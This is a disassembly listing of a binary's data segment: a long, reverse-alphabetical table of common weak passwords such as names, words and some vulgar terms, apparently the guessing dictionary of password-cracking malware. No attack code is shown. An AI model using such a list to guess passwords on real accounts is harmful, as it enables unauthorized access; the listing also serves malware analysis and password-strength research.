aWizard		db 'wizard',0           ; DATA XREF: seg001:0042BE3Co
		align 4
aWithin		db 'within',0           ; DATA XREF: seg001:0042BE38o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: seg001:0042BE34o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg001:0042BE30o
		align 10h
aWired		db 'wired',0            ; DATA XREF: seg001:0042BE2Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: seg001:0042BE28o
aWing		db 'wing',0             ; DATA XREF: seg001:0042BE24o
		align 4
aWine		db 'wine',0             ; DATA XREF: seg001:0042BE20o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: seg001:0042BE1Co
aWilma		db 'wilma',0            ; DATA XREF: seg001:0042BE18o
		align 10h
aWillie		db 'willie',0           ; DATA XREF: seg001:0042BE14o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: seg001:0042BE10o
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg001:0042BE0Co
aWill		db 'will',0             ; DATA XREF: seg001:0042BE08o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg001:0042BE04o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: seg001:0042BE00o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: seg001:0042BDFCo
aWhiting	db 'whiting',0          ; DATA XREF: seg001:0042BDF8o
aWhite		db 'white',0            ; DATA XREF: seg001:0042BDF4o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: seg001:0042BDF0o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: seg001:0042BDECo
aWhatever	db 'whatever',0         ; DATA XREF: seg001:0042BDE8o
		align 4
aWestern	db 'western',0          ; DATA XREF: seg001:0042BDE4o
aWest		db 'west',0             ; DATA XREF: seg001:0042BDE0o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: seg001:0042BDDCo
		align 4
aWendy		db 'wendy',0            ; DATA XREF: seg001:0042BDD8o
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: seg001:0042BDD4o
		align 4
aWell		db 'well',0             ; DATA XREF: seg001:0042BDD0o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: seg001:0042BDCCo
		align 4
aWeed		db 'weed',0             ; DATA XREF: seg001:0042BDC8o
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: seg001:0042BDC4o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: seg001:0042BDC0o
aWave		db 'wave',0             ; DATA XREF: seg001:0042BDBCo
		align 4
aWater		db 'water',0            ; DATA XREF: seg001:0042BDB8o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg001:0042BDB4o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: seg001:0042BDB0o
		align 4
aWarren		db 'warren',0           ; DATA XREF: seg001:0042BDACo
		align 10h
aWarp		db 'warp',0             ; DATA XREF: seg001:0042BDA8o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: seg001:0042BDA4o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg001:0042BDA0o
aWarez		db 'warez',0            ; DATA XREF: seg001:0042BD9Co
		align 4
aWard		db 'ward',0             ; DATA XREF: seg001:0042BD98o
		align 4
aWaco		db 'waco',0             ; DATA XREF: seg001:0042BD94o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg001:0042BD90o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: seg001:0042BD8Co
		align 4
aVisual		db 'visual',0           ; DATA XREF: seg001:0042BD88o
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: seg001:0042BD84o
aVirus		db 'virus',0            ; DATA XREF: seg001:0042BD80o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: seg001:0042BD7Co
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: seg001:0042BD78o
		align 4
aVillage	db 'village',0          ; DATA XREF: seg001:0042BD74o
aVideogam	db 'videogam',0         ; DATA XREF: seg001:0042BD70o
		align 4
aVideo		db 'video',0            ; DATA XREF: seg001:0042BD6Co
		align 10h
aVictor		db 'victor',0           ; DATA XREF: seg001:0042BD68o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: seg001:0042BD64o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: seg001:0042BD60o
aVeronica	db 'veronica',0         ; DATA XREF: seg001:0042BD5Co
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg001:0042BD58o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: seg001:0042BD54o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg001:0042BD50o
aValerie	db 'valerie',0          ; DATA XREF: seg001:0042BD4Co
aVagina		db 'vagina',0           ; DATA XREF: seg001:0042BD48o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: seg001:0042BD44o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg001:0042BD40o
aUtil		db 'util',0             ; DATA XREF: seg001:0042BD3Co
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg001:0042BD38o
		align 4
aUsername	db 'username',0         ; DATA XREF: seg001:0042BD34o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: seg001:0042BD30o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg001:0042BD2Co
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: seg001:0042BD28o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg001:0042BD24o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: seg001:0042BD20o
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg001:0042BD1Co
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: seg001:0042BD18o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: seg001:0042BD14o
aUniversi	db 'universi',0         ; DATA XREF: seg001:0042BD10o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: seg001:0042BD0Co
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg001:0042BD08o
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: seg001:0042BD04o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg001:0042BD00o
aUnhappy	db 'unhappy',0          ; DATA XREF: seg001:0042BCFCo
aUndo		db 'undo',0             ; DATA XREF: seg001:0042BCF8o
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: seg001:0042BCF4o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: seg001:0042BCF0o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: seg001:0042BCECo
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: seg001:0042BCE8o
		align 10h
aTurn		db 'turn',0             ; DATA XREF: seg001:0042BCE4o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: seg001:0042BCE0o
aTubas		db 'tubas',0            ; DATA XREF: seg001:0042BCDCo
		align 4
aTruth		db 'truth',0            ; DATA XREF: seg001:0042BCD8o
		align 10h
aTrue		db 'true',0             ; DATA XREF: seg001:0042BCD4o
		align 4
aTron		db 'tron',0             ; DATA XREF: seg001:0042BCD0o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: seg001:0042BCCCo
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: seg001:0042BCC8o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg001:0042BCC4o
aTrisha		db 'trisha',0           ; DATA XREF: seg001:0042BCC0o
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg001:0042BCBCo
		align 4
aTree		db 'tree',0             ; DATA XREF: seg001:0042BCB8o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg001:0042BCB4o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: seg001:0042BCB0o
		align 4
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota_0	db 'toyota',0           ; DATA XREF: seg001:0042C5A8o
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 10h
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 10h
aToken		db 'token',0
		align 4
aToggle		db 'toggle',0
		align 10h
aToad		db 'toad',0
		align 4
aTits		db 'tits',0
		align 10h
aTina		db 'tina',0
		align 4
aTime		db 'time',0
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: seg001:0042C59Co
		align 4
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 4
aText		db 'text',0
		align 10h
aTetris		db 'tetris',0
		align 4
aTess		db 'tess',0             ; DATA XREF: seg001:0042BC48o
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: seg001:0042BC44o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: seg001:0042BC40o
		align 4
aTera		db 'tera',0             ; DATA XREF: seg001:0042BC3Co
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: seg001:0042BC38o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: seg001:0042BC34o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg001:0042BC30o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: seg001:0042BC2Co
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: seg001:0042BC28o
aTeen		db 'teen',0             ; DATA XREF: seg001:0042BC24o
		align 4
aTech		db 'tech',0             ; DATA XREF: seg001:0042BC20o
		align 10h
aTears		db 'tears',0            ; DATA XREF: seg001:0042BC1Co
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: seg001:0042BC18o
		align 10h
aTeam		db 'team',0             ; DATA XREF: seg001:0042BC14o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: seg001:0042BC0Co
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: seg001:0042BC08o
		align 4
aTarget		db 'target',0           ; DATA XREF: seg001:0042BC04o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg001:0042BC00o
		align 4
aTape		db 'tape',0             ; DATA XREF: seg001:0042BBFCo
		align 4
aTango		db 'tango',0            ; DATA XREF: seg001:0042BBF8o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg001:0042BBF4o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: seg001:0042BBF0o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: seg001:0042BBECo
		align 4
aTami		db 'tami',0             ; DATA XREF: seg001:0042BBE8o
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: seg001:0042BBE4o
		align 4
aTall		db 'tall',0             ; DATA XREF: seg001:0042BBE0o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: seg001:0042BBDCo
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: seg001:0042BBD8o
aSysop		db 'sysop',0            ; DATA XREF: seg001:0042BBD4o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg001:0042BBD0o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg001:0042BBCCo
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: seg001:0042BBC8o
		align 4
aSword		db 'sword',0            ; DATA XREF: seg001:0042BBC4o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: seg001:0042BBC0o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: seg001:0042BBBCo
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: seg001:0042BBB8o
aSuzie		db 'suzie',0            ; DATA XREF: seg001:0042BBB4o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: seg001:0042BBB0o
aSusie		db 'susie',0            ; DATA XREF: seg001:0042BBACo
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: seg001:0042BBA8o
aSusan		db 'susan',0            ; DATA XREF: seg001:0042BBA4o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: seg001:0042BBA0o
aSurfer		db 'surfer',0           ; DATA XREF: seg001:0042BB9Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: seg001:0042BB98o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg001:0042BB94o
aSupervis	db 'supervis',0         ; DATA XREF: seg001:0042BB90o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: seg001:0042BB8Co
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg001:0042BB88o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: seg001:0042BB84o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg001:0042BB80o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: seg001:0042BB7Co
		align 4
aSummer		db 'summer',0           ; DATA XREF: seg001:0042BB78o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: seg001:0042BB74o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg001:0042BB70o
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg001:0042BB6Co
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg001:0042BB68o
aSubway		db 'subway',0           ; DATA XREF: seg001:0042BB64o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg001:0042BB60o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg001:0042BB5Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg001:0042BB54o
		align 4
aString		db 'string',0           ; DATA XREF: seg001:0042BB50o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg001:0042BB4Co
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: seg001:0042BB48o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg001:0042BB44o
		align 4
aStrange	db 'strange',0          ; DATA XREF: seg001:0042BB40o
aStones		db 'stones',0           ; DATA XREF: seg001:0042BB3Co
		align 4
aStoned		db 'stoned',0           ; DATA XREF: seg001:0042BB38o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: seg001:0042BB34o
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg001:0042BB30o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg001:0042BB2Co
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg001:0042BB28o
		align 4
aSteph		db 'steph',0            ; DATA XREF: seg001:0042BB24o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: seg001:0042BB20o
		align 4
aSteal		db 'steal',0            ; DATA XREF: seg001:0042BB1Co
		align 10h
aSteak		db 'steak',0            ; DATA XREF: seg001:0042BB18o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: seg001:0042BB14o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg001:0042BB10o
aStartrek	db 'startrek',0         ; DATA XREF: seg001:0042BB0Co
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40CC09+1C40o
					; seg001:0042BB08o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: seg001:0042BB04o
		align 4
aStar		db 'star',0             ; DATA XREF: seg001:0042BB00o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg001:0042BAFCo
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg001:0042BAF8o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg001:0042BAF4o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg001:0042BAF0o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg001:0042BAECo
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg001:0042BAE8o
aSpunk		db 'spunk',0            ; DATA XREF: seg001:0042BAE4o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg001:0042BAE0o
		align 4
aSpring		db 'spring',0           ; DATA XREF: seg001:0042BADCo
		align 10h
aSpred		db 'spred',0            ; DATA XREF: seg001:0042BAD8o
		align 4
aSpit		db 'spit',0             ; DATA XREF: seg001:0042BAD4o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: seg001:0042BAD0o
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg001:0042BACCo
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg001:0042BAC8o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg001:0042BAC4o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg001:0042BAC0o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg001:0042BABCo
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg001:0042BAB8o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg001:0042BAB4o
		align 4
aSource		db 'source',0           ; DATA XREF: seg001:0042BAB0o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg001:0042BAACo
aSonya		db 'sonya',0            ; DATA XREF: seg001:0042BAA8o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg001:0042BAA4o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg001:0042BAA0o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg001:0042BA9Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg001:0042BA98o
		align 4
aSoftware	db 'software',0         ; DATA XREF: seg001:0042BA94o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg001:0042BA90o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg001:0042BA8Co
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg001:0042BA88o
		align 10h
aSocial		db 'social',0           ; DATA XREF: seg001:0042BA84o
		align 4
aSoap		db 'soap',0             ; DATA XREF: seg001:0042BA80o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: seg001:0042BA7Co
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: seg001:0042BA78o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: seg001:0042BA74o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: seg001:0042BA70o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: seg001:0042BA6Co
		align 4
aSmut		db 'smut',0             ; DATA XREF: seg001:0042BA68o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: seg001:0042BA64o
		align 4
aSmother	db 'smother',0          ; DATA XREF: seg001:0042BA60o
aSmooch		db 'smooch',0           ; DATA XREF: seg001:0042BA5Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: seg001:0042BA58o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: seg001:0042BA54o
		align 4
aSmart		db 'smart',0            ; DATA XREF: seg001:0042BA50o
		align 10h
aSmall		db 'small',0            ; DATA XREF: seg001:0042BA4Co
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg001:0042BA48o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: seg001:0042BA44o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: seg001:0042BA40o
aSlick		db 'slick',0            ; DATA XREF: seg001:0042BA3Co
		align 4
aSlave		db 'slave',0            ; DATA XREF: seg001:0042BA38o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: seg001:0042BA34o
		align 4
aSite		db 'site',0             ; DATA XREF: seg001:0042BA30o
		align 10h
aSingle		db 'single',0           ; DATA XREF: seg001:0042BA2Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: seg001:0042BA28o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: seg001:0042BA24o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg001:0042BA20o
		align 4
aSimple		db 'simple',0           ; DATA XREF: seg001:0042BA1Co
		align 10h
aSimon		db 'simon',0            ; DATA XREF: seg001:0042BA18o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: seg001:0042BA14o
aSilver		db 'silver',0           ; DATA XREF: seg001:0042BA10o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: seg001:0042BA0Co
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg001:0042BA08o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg001:0042BA04o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg001:0042BA00o
aShort		db 'short',0            ; DATA XREF: seg001:0042B9FCo
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg001:0042B9F8o
aShiva		db 'shiva',0            ; DATA XREF: seg001:0042B9F4o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg001:0042B9F0o
aShit		db 'shit',0             ; DATA XREF: seg001:0042B9ECo
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg001:0042B9E8o
aShift		db 'shift',0            ; DATA XREF: seg001:0042B9E4o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg001:0042B9E0o
		align 4
aShell		db 'shell',0            ; DATA XREF: seg001:0042B9DCo
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg001:0042B9D8o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg001:0042B9D4o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: seg001:0042B9D0o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: seg001:0042B9CCo
		align 4
aShark		db 'shark',0            ; DATA XREF: seg001:0042B9C8o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: seg001:0042B9C4o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: seg001:0042B9C0o
aSexy		db 'sexy',0             ; DATA XREF: seg001:0042B9BCo
		align 4
aSesame		db 'sesame',0           ; DATA XREF: seg001:0042B9B8o
		align 10h
aService	db 'service',0          ; DATA XREF: seg001:0042B9B4o
					; seg001:0042C57Co
aSerial		db 'serial',0           ; DATA XREF: seg001:0042B9B0o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: seg001:0042B9ACo
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg001:0042B9A8o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg001:0042B9A4o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: seg001:0042B9A0o
		align 4
aSega		db 'sega',0             ; DATA XREF: seg001:0042B99Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: seg001:0042B998o
		align 4
aSecurity	db 'security',0         ; DATA XREF: seg001:0042B994o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg001:0042B990o
		align 4
aScout		db 'scout',0            ; DATA XREF: seg001:0042B98Co
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg001:0042B988o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg001:0042B984o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg001:0042B980o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: seg001:0042B97Co
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg001:0042B978o
aSchool		db 'school',0           ; DATA XREF: seg001:0042B974o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg001:0042B970o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg001:0042B96Co
aSaxon		db 'saxon',0            ; DATA XREF: seg001:0042B968o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg001:0042B964o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg001:0042B960o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: seg001:0042B95Co
		align 10h
aSara		db 'sara',0             ; DATA XREF: seg001:0042B958o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: seg001:0042B954o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: seg001:0042B950o
		align 4
aSample		db 'sample',0           ; DATA XREF: seg001:0042B94Co
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: seg001:0042B948o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg001:0042B944o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg001:0042B940o
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg001:0042B93Co
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg001:0042B938o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg001:0042B934o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg001:0042B930o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: seg001:0042B92Co
aRules		db 'rules',0            ; DATA XREF: seg001:0042B928o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg001:0042B924o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg001:0042B920o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg001:0042B91Co
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg001:0042B918o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg001:0042B914o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg001:0042B910o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg001:0042B90Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: seg001:0042B908o
aRose		db 'rose',0             ; DATA XREF: seg001:0042B904o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: seg001:0042B900o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: seg001:0042B8FCo
aRomeo		db 'romeo',0            ; DATA XREF: seg001:0042B8F8o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: seg001:0042B8F4o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: seg001:0042B8F0o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: seg001:0042B8ECo
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg001:0042B8E8o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg001:0042B8E4o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg001:0042B8E0o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg001:0042B8DCo
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: seg001:0042B8D8o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg001:0042B8D4o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg001:0042B8D0o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: seg001:0042B8CCo
		align 4
aRobin		db 'robin',0            ; DATA XREF: seg001:0042B8C8o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: seg001:0042B8C4o
		align 4
aRoach		db 'roach',0            ; DATA XREF: seg001:0042B8C0o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: seg001:0042B8BCo
		align 4
aRipple		db 'ripple',0           ; DATA XREF: seg001:0042B8B8o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: seg001:0042B8B4o
		align 4
aRing		db 'ring',0             ; DATA XREF: seg001:0042B8B0o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: seg001:0042B8ACo
		align 4
aRight		db 'right',0            ; DATA XREF: seg001:0042B8A8o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg001:0042B8A4o
		align 10h
aRick		db 'rick',0             ; DATA XREF: seg001:0042B8A0o
		align 4
aRich		db 'rich',0             ; DATA XREF: seg001:0042B89Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: seg001:0042B898o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: seg001:0042B894o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: seg001:0042B890o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg001:0042B88Co
		align 4
aReport		db 'report',0           ; DATA XREF: seg001:0042B888o
		align 10h
aRent		db 'rent',0             ; DATA XREF: seg001:0042B884o
		align 4
aReno		db 'reno',0             ; DATA XREF: seg001:0042B880o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: seg001:0042B87Co
		align 4
aRemote		db 'remote',0           ; DATA XREF: seg001:0042B878o
		align 10h
aRelease	db 'release',0          ; DATA XREF: seg001:0042B874o
aRegional	db 'regional',0         ; DATA XREF: seg001:0042B870o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg001:0042B86Co
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: seg001:0042B868o
aReddawn	db 'reddawn',0          ; DATA XREF: seg001:0042B864o
aRecord		db 'record',0           ; DATA XREF: seg001:0042B860o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: seg001:0042B85Co
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: seg001:0042B858o
aRebal		db 'rebal',0            ; DATA XREF: seg001:0042B854o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: seg001:0042B850o
		align 4
aReam		db 'ream',0             ; DATA XREF: seg001:0042B84Co
		align 10h
aReally		db 'really',0           ; DATA XREF: seg001:0042B848o
		align 4
aReality	db 'reality',0          ; DATA XREF: seg001:0042B844o
aReagan		db 'reagan',0           ; DATA XREF: seg001:0042B840o
		align 4
aRazor		db 'razor',0            ; DATA XREF: seg001:0042B83Co
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: seg001:0042B838o
		align 4
aRape		db 'rape',0             ; DATA XREF: seg001:0042B834o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: seg001:0042B82Co
aRaindrop	db 'raindrop',0         ; DATA XREF: seg001:0042B828o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg001:0042B824o
aRain		db 'rain',0             ; DATA XREF: seg001:0042B820o
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg001:0042B81Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg001:0042B818o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg001:0042B814o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg001:0042B810o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg001:0042B80Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg001:0042B808o
					; seg001:0042C560o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg001:0042B804o
					; seg001:0042C55Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg001:0042B800o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg001:0042B7FCo
		align 4
